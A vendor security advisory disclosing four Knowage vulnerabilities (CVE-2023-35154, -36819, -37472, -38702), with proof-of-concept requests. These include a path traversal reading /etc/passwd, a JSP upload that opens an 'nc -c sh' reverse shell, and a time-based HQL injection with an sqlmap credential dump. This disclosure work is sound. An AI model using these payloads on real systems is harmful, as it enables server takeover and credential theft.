SYNACKTIV
DIGITAL SECURITY

Multiple vulnerabilities in Knowage 6.x.x, 7.x.x, 8.0.x, < 8.1.8

CVE-2023-35154
CVE-2023-36819
CVE-2023-37472
CVE-2023-38702

Security advisory

08/08/2023

Florent Sicchio

Vulnerabilities description

Presentation of Knowage

KNOWAGE is the open source analytics and business intelligence suite that allows you to combine traditional data and big/cloud data sources into valuable and meaningful information. Its features, such as data federation, mash-up, data/text mining and advanced data visualization, give comprehensive support to rich and multi-source data analysis. The suite is composed of two main modules and four additional plugins that can be combined to ensure full coverage of user' requirements.

The issues

Synacktiv has identified multiple vulnerabilities in Knowage. The application does not properly check the state of a registered user, allowing attacker to bypass the email confirmation process and register to access the application with default privileges.

Synacktiv experts also identified multiple vulnerabilities in the way Knowage sanitizes user-supplied paths, allowing an attacker to download and upload arbitrary files on the system, and retrieve information from the database.

Combining these vulnerabilities could allow an attacker to gain code execution capability on the server, from an unauthenticated context.

Affected versions

The following versions are affected: 6.x.x, 7.x.x, 8.0.x, < 8.1.8. Version 8.1.8 patches all vulnerabilities.

Timeline

Date	Action
04/07/2022	Advisory sent to Knowage by email
11/07/2022	Receipt of the email acknowledged by Knowage team
17/04/2023	Version 8.1.8 release fixing the vulnerabilities
16/06/2023	GitHub advisories are written and release plan is established between Knowage and Synacktiv
01/08/2023	All GitHub advisories are published
08/08/2023	Public release of this advisory

Technical description and Proof-of-Concept

Account validation bypass (CVE-2023-35154)

When a user registers his account via the */knowage/restful-services/signup/create* endpoint, the account is blocked by setting the *flgPwdBlocked* attribute to true.

- *knowage-core/src/main/java/it/eng/spagobi/signup/service/rest/Signup.java*

```
SbiUser user = new SbiUser();
user.setUserId(username);
user.setPassword(Password.encriptPassword(password));
user.setFullName(name + " " + surname);
user.getCommonInfo().setOrganization(defaultTenant);
user.getCommonInfo().setUserIn(username);
user.setFlgPwdBlocked(true);
[…]
int id = userDao.fullSaveOrUpdateSbiUser(user);
```

However, the */knowage/restful-services/credential/* endpoint, exposed to anonymous users, resets this flag weather the account has been activated or not.

- *knowage-core/src/main/java/it/eng/spagobi/api/CredentialResource.java*

```
@PublicService
public Response change(final ChangePasswordData data) {
    [...]
    final String userId = data.getUserId();
    final String oldPassword = data.getOldPassword();
    final String newPassword = data.getNewPassword();
    final String newPasswordConfirm = data.getNewPasswordConfirm();

    if (StringUtils.isEmpty(userId)) {
        [...]
    } else {
        ISbiUserDAO userDao = DAOFactory.getSbiUserDAO();
        SbiUser tmpUser = userDao.loadSbiUserByUserId(userId);

        try {
            if (PasswordChecker.getInstance().isValid(tmpUser, oldPassword, newPassword,
newPasswordConfirm)) {
                [...]
                tmpUser.setFlgPwdBlocked(false);
                userDao.updateSbiUser(tmpUser, tmpUser.getId());
```

This allows an attacker to register and activate his account without having to click on the link included in the email, which is useful in the context where the email service is not configured.

It's also important to note that the registration page does not seem to be displayed when a user accesses the application without prior authentication.

Path traversal in download functionalities (CVE-2023-36819)

The */knowage/restful-services/dossier/importTemplateFile* endpoint allows authenticated users to download *templates* hosted on the server.

- *knowage-core/src/main/java/it/eng/spagobi/api/DossierActivityResource.java*

```
@Path("/resourcePath")
public Response getresourcePath(@QueryParam("templateName") String fileName) throws
JSONException {
    [...]
    String outPath = SpagoBIUtilities.getResourcePath() + separator + "dossier" + separator
+ fileName;
    [...]
    File file = new File(outPath);
    [...]
    try {
        bytes = Files.readAllBytes(file.toPath());
        responseBuilder = Response.ok(bytes);
```

However, the application does not sanitize the *templateName* parameter allowing an attacker to use "*../*" in it, and escaping the directory the templates are normally placed and download any file from the system:

```
GET /knowage/restful-services/dossier/resourcePath?templateName=../../../../../../etc/
passwd HTTP/1.1
Host: localhost:8088
Cookie: JSESSIONID=8C072A9A51CBFBA80049298EC4757C6D

HTTP/1.1 200
Date: Mon, 27 Jun 2022 17:34:21 GMT
[...]

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
[...]
```

This vulnerability allows an attacker to exfiltrate sensitive configuration files such as:

- Database credentials
- *HMAC key* in order to craft *JWT* token
- *Tomcat* credentials if the manager interface is enabled

It's important to note that this is not the only place a path traversal attack could be performed, however other vulnerable endpoints either require more privileges, or append other strings to the controlled path provided by the attacker, making the exploitation harder.

For example the following methods are also affected by this kind of vulnerability:

- *knowage-core/src/main/java/it/eng/spagobi/api/DataSetResource.java@cloneFile*
- *knowage-core/src/main/java/it/eng/spagobi/engines/chart/service/GetPngAction.java*

Path traversal in upload functionalities (CVE-2023-38702)

The */knowage/restful-services/dossier/importTemplateFile* endpoint allows authenticated users to upload *templates* on the server, but does not need any authorization to be reached.

Also, this endpoint does not check the type of the file that is uploaded by the user, and does not properly handle the filename provided. In fact, the filename is directly appended to the location of where the file will be written allowing attacker to perform a path traversal attack and place his file anywhere on the filesystem.

- *knowage-core/src/main/java/it/eng/spagobi/api/DossierActivityResource.java*

```
public Response importTemplateFile(MultiPartBody multipartFormDataInput) throws
JSONException {
    byte[] archiveBytes = null;
    JSONObject response = new JSONObject();
    try {

        String separator = File.separator;
        final FormFile file = multipartFormDataInput.getFormFileParameterValues("file")[0];
        String fileName = file.getFileName();
        archiveBytes = file.getContent();
        [...]
        File f = new File(SpagoBIUtilities.getResourcePath() + separator + "dossier" +
separator + fileName);
        FileOutputStream outputStream = new FileOutputStream(f);
        outputStream.write(archiveBytes);
        outputStream.close();
```

```
POST /knowage/restful-services/dossier/importTemplateFile HTTP/1.1
Host: 127.0.0.1:8088
Cookie: JSESSIONID=C21D8A4676D617862E020548CC3C7518; kn.lang=en-US
Content-Length: 211
Content-Type: multipart/form-data; boundary=d7fe18eaf5c6958f3e8723a6ca89c392

--d7fe18eaf5c6958f3e8723a6ca89c392
Content-Disposition: form-data; name="file"; filename="../../../../../../../../tmp/poc"
Content-Type: image/png

synacktiv was here.
--d7fe18eaf5c6958f3e8723a6ca89c392--

HTTP/1.1 200
Date: Mon, 27 Jun 2022 17:56:34 GMT
[...]

{"STATUS":"OK"}
```

```
root@1f7ab7904524: /# cat /tmp/poc
synacktiv was here.
```

By exploiting this vulnerability an attacker can upload a *JSP* file to the *knowageqbeengine* directory and gain code execution capability on the server.

```
POST /knowage/restful-services/dossier/importTemplateFile HTTP/1.1
[...]

--d7fe18eaf5c6958f3e8723a6ca89c392
Content-Disposition: form-data; name="file";
filename="../../../../../../../../home/knowage/apache-tomcat/webapps/knowageqbeengine/
foo.jsp"
Content-Type: image/png

<%@ page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%Runtime.getRuntime().exec("nc -c sh 127.0.0.1 1337");%>

--d7fe18eaf5c6958f3e8723a6ca89c392--

HTTP/1.1 200
[...]

{"STATUS":"OK"}
```

When the *JSP* file is uploaded, the attacker just need to connect to */knowageqbeengine/foo.jsp* to gain code execution on the server.

```
$ curl http://127.0.0.1:8088/knowageqbeengine/foo.jsp
```

```
# nc -lvnp 1337
listening on [any] 1337 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 56678
id
uid=0(root) gid=0(root) groups=0(root)
```

The following *semgrep*[1] rule can be used to identify other codes potentially vulnerable to this vulnerability:

```
rules:
  - id: controlled-file-initialization
    pattern-either:
      - pattern: |
          $Y = <... $X.getFileName() ...>;
          ...
          $Z = new File($Y);
      - pattern: |
          $Y = <... $X.getFileName() ...>;
          ...
          $Z = new File(<... $Y ...>);
    message: File object initialized using getfilename() method.
    severity: ERROR
    languages:
      - java
```

1 https://semgrep.dev/

HQL injections (CVE-2023-37472)

The application often uses user-supplied data to create *HQL* queries without prior sanitization. An attacker can create specially crafted *HQL* queries that will break the subsequent *SQL* queries generated by the *Hibernate* engine.

Synacktiv experts identified that the */knowage/restful-services/2.0/documents/listDocument* endpoint calls the *countBIObjects* method of the *BIObjectDAOHibImpl* object with the user-supplied *label* parameter without prior sanitization.

- *knowage-core/src/main/java/it/eng/spagobi/api/v2/DocumentResource.java*

```
public String getDocumentSearchAndPaginate( [...], @QueryParam("label") String label,
[...]) throws EMFInternalError {
    [...]
    jo.put("itemCount", documentsDao.countBIObjects(label != null ? label : "",
UserFilter));

    return jo.toString();
```

- *knowagedao/src/main/java/it/eng/spagobi/analiticalmodel/document/dao/BIObjectDAOHibImpl.java*

```
public Integer countBIObjects(String search, String user) throws EMFUserError {
    [...]
    String hql = "select count(*) from SbiObjects ";
    if (search != null || user != null) {
        hql += " where ";

        if (search != null) {
            hql += " label like '%" + search + "%'";
        }
    }

    Query hqlQuery = aSession.createQuery(hql);
    Long temp = (Long) hqlQuery.uniqueResult();
    [...]
```

We can demonstrate the vulnerability by breaking the *SQL* query generated by *Hibernate* with the "\"" escape sequence and call the *MySQL sleep* function, that will result in a delayed response from the server:

```
$ time curl -q -H 'Cookie: JSESSIONID=[...]' "http://localhost:8088/knowage/restful-
services/2.0/documents/listDocument?label=a%5c'')+order+by+(select+sleep(5));--+-"
>/dev/null

real    0m5,014s
user    0m0,010s
sys     0m0,000s
```

Leveraging this vulnerability allows an authenticated attacker to retrieve information stored in database like users credentials.

```
$ sqlmap -r req --prefix="%5c'')" -D knowagedb -T SBI_USER -C USER_ID,PASSWORD --dump --
batch
[...]
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: label (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: label=a\'') AND (SELECT 5913 FROM (SELECT(SLEEP(5)))sEeF)-- MAaT
---
[...]
Database: knowagedb
Table: SBI_USER
[5 entries]
+---------+-------------------------------------+
| USER_ID | PASSWORD                            |
+---------+-------------------------------------+
| biadmin | v2#SHA#etY7YQw0SIRBgB3xaAkf8Yy27aA= |
| bidemo  | v2#SHA#5Dm4hC5q4iqhWYipnuPHCKCJ9aY= |
| bidev   | v2#SHA#/W1GylRuyXTmD2zcL2MWXBIWI64= |
| bitest  | v2#SHA#ku66TjPzcINw9QQXthO4lqiWJLk= |
| biuser  | v2#SHA#+Cz21XystydE4D5eQ3BoSuX7UZc= |
+---------+-------------------------------------+
```

Other injections have been identified in the application, notably in the following files, but were demonstrated by Synacktiv experts has they either require authorization to be reached, or were not called by any identified endpoint or service:

- *knowagedao/src/main/java/it/eng/spagobi/tools/udp/dao/UdpValueDAOHibImpl.java@loadByReferenceIdAndUdpId*
- *knowagedao/src/main/java/it/eng/spagobi/tools/udp/dao/UdpValueDAOHibImpl.java@findByReferenceId*
- *knowagedao/src/main/java/it/eng/spagobi/tools/dataset/dao/SbiDataSetDAOImpl.java@countSbiDataSet*
- *knowagedao/src/main/java/it/eng/spagobi/metadata/dao/SbiMetaTableDAOHibImpl.java@countSbiMetaTable*

Those kinds of injections can be identified using the following *semgrep* rules:

- https://github.com/returntocorp/semgrep-rules/blob/develop/java/lang/security/audit/sqli/hibernate-sqli.yaml